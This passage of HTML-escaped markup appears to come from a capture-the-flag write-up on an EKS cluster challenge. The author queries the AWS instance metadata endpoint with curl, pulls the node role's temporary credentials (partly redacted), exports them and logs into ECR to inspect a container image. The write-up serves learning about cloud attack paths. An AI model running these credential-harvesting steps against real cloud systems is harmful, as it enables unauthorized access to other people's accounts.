#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaccounting-pod-876647f8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e37\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo same as the last challenge, lets get the image and see what access we have:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich as expected, we do not have access to:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efetching\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereading\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\":\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGET\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eunexpected\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003estatus\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e401\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUnauthorized:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAuthorized\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSince I expect the pod already has AWS access, lets check if the AWS CLI works:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eUnable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecredentials.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eYou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfigure\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecredentials\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eby\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"aws configure\".\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCredentials are not configured right now, so we need to discover them.  Lets\ncheck if we have metadata server access:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/iam\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003einfo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecurity-credentials/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe do!  So we should be able to pull the credentials out of there to get access\nto AWS:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-sS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Expiration\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03 03:50:19+00:00\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SessionToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets set those as environment variables to activate our AWS access:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_ACCESS_KEY_ID\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_SECRET_ACCESS_KEY\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_SESSION_TOKEN\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e:i-0cb922c6673973282\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we should be able to authenticate crane and inspect the image from ECR:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePASSWORD=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e ecr get-login-password)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $PASSWORD \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e02\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:56:41\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogged\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evia\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets get those layers!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"architecture\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"config\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Env\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Cmd\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"OnBuild\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enull\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"history\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan 